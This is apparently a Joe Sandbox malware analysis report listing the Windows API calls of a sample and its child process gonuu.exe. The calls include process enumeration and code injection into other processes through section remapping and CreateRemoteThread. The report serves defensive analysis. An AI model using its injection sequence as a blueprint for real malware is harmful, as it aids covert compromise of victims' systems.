    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBD976, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00BBD98B
    • GetTempFileNameW.KERNEL32(?,tmp,00000000,00BA72C4), ref: 00BBD9B4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041D976, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 0041D98B
    • GetTempFileNameW.KERNEL32(?,tmp,00000000,004072C4), ref: 0041D9B4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408B81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26
    APIs
    • SetBkMode.GDI32 ref: 00408B81
    • GlobalUnlock.KERNEL32 ref: 00408B87
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00414F64, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC4DF4, Relevance: 5.2, APIs: 4, Instructions: 196
    APIs
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
      • Part of subcall function 00BBD80F: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 00BBD834
      • Part of subcall function 00BBD80F: GetFileSizeEx.KERNEL32(?,00000000), ref: 00BBD847
      • Part of subcall function 00BBD80F: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00BBD86F
      • Part of subcall function 00BBD80F: ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 00BBD887
      • Part of subcall function 00BBD80F: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BBD8A1
      • Part of subcall function 00BBD80F: CloseHandle.KERNEL32(00000001), ref: 00BBD8AA
    • StrStrIA.SHLWAPI(?,?), ref: 00BC4F1D
    • StrStrIA.SHLWAPI(?,?), ref: 00BC4F2F
    • StrStrIA.SHLWAPI(?,?), ref: 00BC4F41
    • StrStrIA.SHLWAPI(?,?), ref: 00BC4F53
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BBD8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 00BBD8C8
      • Part of subcall function 00BBD8B7: CloseHandle.KERNEL32(00000001), ref: 00BBD8D6
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
      • Part of subcall function 00BBDD7A: FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
      • Part of subcall function 00BBDD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
      • Part of subcall function 00BBDD7A: FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
      • Part of subcall function 00BBDD7A: FindClose.KERNEL32(?), ref: 00BBDEC7
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00424DF4, Relevance: 5.2, APIs: 4, Instructions: 196
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 0041D80F: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 0041D834
      • Part of subcall function 0041D80F: GetFileSizeEx.KERNEL32(?,00000000), ref: 0041D847
      • Part of subcall function 0041D80F: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0041D86F
      • Part of subcall function 0041D80F: ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 0041D887
      • Part of subcall function 0041D80F: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8A1
      • Part of subcall function 0041D80F: CloseHandle.KERNEL32(00000001), ref: 0041D8AA
    • StrStrIA.SHLWAPI(?,?), ref: 00424F1D
    • StrStrIA.SHLWAPI(?,?), ref: 00424F2F
    • StrStrIA.SHLWAPI(?,?), ref: 00424F41
    • StrStrIA.SHLWAPI(?,?), ref: 00424F53
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8C8
      • Part of subcall function 0041D8B7: CloseHandle.KERNEL32(00000CE4), ref: 0041D8D6
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC83EA, Relevance: 5.1, APIs: 4, Instructions: 63
    APIs
    • EnterCriticalSection.KERNEL32(00BD4170,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8407
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • LeaveCriticalSection.KERNEL32(00BD4170,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8428
    • EnterCriticalSection.KERNEL32(00BD4170,?,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8439
      • Part of subcall function 00BB80EB: HeapAlloc.KERNEL32(00000008,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?,?), ref: 00BB810D
      • Part of subcall function 00BB80EB: HeapReAlloc.KERNEL32(00000008,?,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?), ref: 00BB811E
    • LeaveCriticalSection.KERNEL32(00BD4170,?,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC84C1
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd

    Analysis Process: gonuu.exe PID: 212 Parent PID: 1652

    Executed Functions

    Function 00407D40, Relevance: 89.3, APIs: 23, Strings: 27, Instructions: 1802
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00407F76
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00426DB7, Relevance: 25.6, APIs: 17, Instructions: 148
    APIs
    • OpenProcess.KERNEL32(?,00000000,?), ref: 00426DE0
      • Part of subcall function 00407F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00407F40
      • Part of subcall function 00407F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 0040802C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00426E2B
    • MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00426E4E
    • NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00426E60
    • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00426E7C
    • NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00426EAE
    • NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00426ECC
    • FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00426EDA
    • NtResumeProcess.NTDLL(?,?,?,?), ref: 00426EE5
    • Sleep.KERNEL32(00000064), ref: 00426EF2
    • UnmapViewOfFile.KERNEL32(?), ref: 00426EFB
    • CloseHandle.KERNEL32(?), ref: 00426F04
    • CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00426F1D
    • WaitForSingleObject.KERNEL32(?,00002710), ref: 00426F2F
    • CloseHandle.KERNEL32 ref: 00426F36
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00426F4F
    • CloseHandle.KERNEL32 ref: 00426F56
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00407BA3, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 155
    APIs
      • Part of subcall function 0040755C: GetModuleHandleW.KERNEL32(?), ref: 00407588
      • Part of subcall function 0040755C: GetModuleHandleW.KERNEL32(00000000), ref: 004075A8
      • Part of subcall function 0040755C: GetModuleHandleW.KERNEL32(?), ref: 00407667
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 0040771E
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 0040772F
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407743
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407754
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32 ref: 00407765
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407776
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407787
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407798
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 004077A9
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 004077BA
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 004077CA
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00407BDA
    • GetProcessHeap.KERNEL32 ref: 00407BE9
    • WSAStartup.WS2_32(00000202,?), ref: 00407C1C
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
    • InitializeCriticalSection.KERNEL32(004345A0), ref: 00407C3D
    • GetCurrentProcess.KERNEL32 ref: 00407C55
    • GetModuleFileNameExW.PSAPI ref: 00407C5C
      • Part of subcall function 00414EBF: CharLowerW.USER32 ref: 00414EF2
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 004204BA
      • Part of subcall function 004073FB: GetModuleHandleW.KERNEL32(?), ref: 00407412
      • Part of subcall function 004073FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00407451
      • Part of subcall function 004073FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00407467
      • Part of subcall function 0042C68C: GlobalMemoryStatusEx.KERNEL32(?), ref: 0042C6DD
      • Part of subcall function 0042C68C: GetVolumeInformationA.KERNEL32(00407CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0042C71A
    • CreateEventW.KERNEL32(00432AFC,00000001,00000000,00000000), ref: 00407CD5
      • Part of subcall function 00419AB7: OpenProcessToken.ADVAPI32(00432AC0,00000008,00432AC0), ref: 00419AC7
      • Part of subcall function 00419AB7: GetTokenInformation.ADVAPI32(00432AC0,0000000C,00000000,00000004,00432F90), ref: 00419AF3
      • Part of subcall function 00419AB7: CloseHandle.KERNEL32(00432AC0), ref: 00419B08
    • GetLengthSid.ADVAPI32(?,000000FF,00432AC0,00432F90), ref: 00407D0A
      • Part of subcall function 0040787A: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00407898
      • Part of subcall function 0040787A: PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 004078A7
      • Part of subcall function 0040787A: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 004078BB
    • GetCurrentProcessId.KERNEL32 ref: 00407D37
      • Part of subcall function 004078DB: IsBadReadPtr.KERNEL32(?,?), ref: 00407909
      • Part of subcall function 0041CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
      • Part of subcall function 0040792D: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 0040796A
      • Part of subcall function 0040792D: lstrcmpiW.KERNEL32(?,?), ref: 00407994
      • Part of subcall function 004079BF: InitializeCriticalSection.KERNEL32(00434170), ref: 004079D6
      • Part of subcall function 004079BF: InitializeCriticalSection.KERNEL32(00433FEC), ref: 00407A0B
      • Part of subcall function 004079BF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407A33
      • Part of subcall function 004079BF: ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00407A50
      • Part of subcall function 004079BF: CloseHandle.KERNEL32 ref: 00407A61
      • Part of subcall function 004079BF: InitializeCriticalSection.KERNEL32(00433F6C), ref: 00407AA8
      • Part of subcall function 004079BF: GetModuleHandleW.KERNEL32(?), ref: 00407ACF
      • Part of subcall function 004079BF: GetModuleHandleW.KERNEL32(?), ref: 00407AD8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041BB34, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
    APIs
    • InitializeSecurityDescriptor.ADVAPI32(00432B08,00000001), ref: 0041BB3E
    • SetSecurityDescriptorDacl.ADVAPI32(00432B08,00000001,00000000,00000000), ref: 0041BB4F
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00432F90,00000000), ref: 0041BB65
    • GetSecurityDescriptorSacl.ADVAPI32(00432F90,?,00407CC0,00000000), ref: 0041BB81
    • SetSecurityDescriptorSacl.ADVAPI32(00432B08,?,00407CC0,00000000), ref: 0041BB95
    • LocalFree.KERNEL32(00432F90), ref: 0041BBA2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00426F66, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00426F87
    • Process32FirstW.KERNEL32(?,?), ref: 00426FB0
      • Part of subcall function 00407E34: CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
    • OpenProcess.KERNEL32(00000400,00000000,?), ref: 0042700B
    • CloseHandle.KERNEL32(?), ref: 004270AC
      • Part of subcall function 00419AB7: OpenProcessToken.ADVAPI32(00432AC0,00000008,00432AC0), ref: 00419AC7
      • Part of subcall function 00419AB7: GetTokenInformation.ADVAPI32(00432AC0,0000000C,00000000,00000004,00432F90), ref: 00419AF3
      • Part of subcall function 00419AB7: CloseHandle.KERNEL32(00432AC0), ref: 00419B08
    • CloseHandle.KERNEL32 ref: 00427028
    • GetLengthSid.ADVAPI32(?,?,?,?), ref: 0042703B
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
      • Part of subcall function 00426DB7: OpenProcess.KERNEL32(?,00000000,?), ref: 00426DE0
      • Part of subcall function 00426DB7: CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00426E2B
      • Part of subcall function 00426DB7: MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00426E4E
      • Part of subcall function 00426DB7: NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00426E60
      • Part of subcall function 00426DB7: ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00426E7C
      • Part of subcall function 00426DB7: NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00426EAE
      • Part of subcall function 00426DB7: NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00426ECC
      • Part of subcall function 00426DB7: FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00426EDA
      • Part of subcall function 00426DB7: NtResumeProcess.NTDLL(?,?,?,?), ref: 00426EE5
      • Part of subcall function 00426DB7: Sleep.KERNEL32(00000064), ref: 00426EF2
      • Part of subcall function 00426DB7: UnmapViewOfFile.KERNEL32(?), ref: 00426EFB
      • Part of subcall function 00426DB7: CloseHandle.KERNEL32(?), ref: 00426F04
      • Part of subcall function 00426DB7: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00426F1D
      • Part of subcall function 00426DB7: WaitForSingleObject.KERNEL32(?,00002710), ref: 00426F2F
      • Part of subcall function 00426DB7: CloseHandle.KERNEL32 ref: 00426F36
      • Part of subcall function 00426DB7: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00426F4F
      • Part of subcall function 00426DB7: CloseHandle.KERNEL32 ref: 00426F56
    • Process32NextW.KERNEL32(?,0000022C), ref: 004270B8
    • CloseHandle.KERNEL32(?), ref: 004270C9
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041CAE9, Relevance: 10.6, APIs: 7, Instructions: 66
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 0041CB07
    • PathAddBackslashW.SHLWAPI(?), ref: 0041CB1E
    • PathRemoveBackslashW.SHLWAPI(?), ref: 0041CB2F
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 0041CB3C
    • PathAddBackslashW.SHLWAPI(?), ref: 0041CB4D
    • GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 0041CB5C
    • CLSIDFromString.OLE32(0000007B,?), ref: 0041CB76
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004088DB, Relevance: 9.1, APIs: 6, Instructions: 128
    APIs
      • Part of subcall function 00407BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00407BDA
      • Part of subcall function 00407BA3: GetProcessHeap.KERNEL32 ref: 00407BE9
      • Part of subcall function 00407BA3: WSAStartup.WS2_32(00000202,?), ref: 00407C1C
      • Part of subcall function 00407BA3: InitializeCriticalSection.KERNEL32(004345A0), ref: 00407C3D
      • Part of subcall function 00407BA3: GetCurrentProcess.KERNEL32 ref: 00407C55
      • Part of subcall function 00407BA3: GetModuleFileNameExW.PSAPI ref: 00407C5C
      • Part of subcall function 00407BA3: CreateEventW.KERNEL32(00432AFC,00000001,00000000,00000000), ref: 00407CD5
      • Part of subcall function 00407BA3: GetLengthSid.ADVAPI32(?,000000FF,00432AC0,00432F90), ref: 00407D0A
      • Part of subcall function 00407BA3: GetCurrentProcessId.KERNEL32 ref: 00407D37
    • SetErrorMode.KERNEL32(00008007), ref: 00408902
    • GetCommandLineW.KERNEL32 ref: 0040890C
    • CommandLineToArgvW.SHELL32 ref: 00408913
    • ExitProcess.KERNEL32(00000000,00000000), ref: 004089B3
    • NtClose.NTDLL(?,?,00000000), ref: 00408A9E
    • Sleep.KERNEL32(0000000A), ref: 00408AAD
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00408600, Relevance: 9.1, APIs: 6, Instructions: 88
    APIs
      • Part of subcall function 0041D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8C8
      • Part of subcall function 0041D8B7: CloseHandle.KERNEL32(00000001), ref: 0041D8D6
      • Part of subcall function 0042A297: StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00C22040), ref: 0042A31B
      • Part of subcall function 0042A297: lstrcmpiW.KERNEL32(?,E121EBEE), ref: 0042A333
    • CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00408663
    • CloseHandle.KERNEL32 ref: 004086F3
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 004204BA
    • CloseHandle.KERNEL32(000001E6), ref: 00408701
      • Part of subcall function 0040853D: SHGetFolderPathW.SHELL32(00000000,00000029,00000000,00000000,?), ref: 00408555
      • Part of subcall function 0040853D: CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 004085A7
      • Part of subcall function 0040853D: CloseHandle.KERNEL32(?), ref: 004085B4
      • Part of subcall function 00426F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00426F87
      • Part of subcall function 00426F66: Process32FirstW.KERNEL32(?,?), ref: 00426FB0
      • Part of subcall function 00426F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 0042700B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32 ref: 00427028
      • Part of subcall function 00426F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 0042703B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270AC
      • Part of subcall function 00426F66: Process32NextW.KERNEL32(?,0000022C), ref: 004270B8
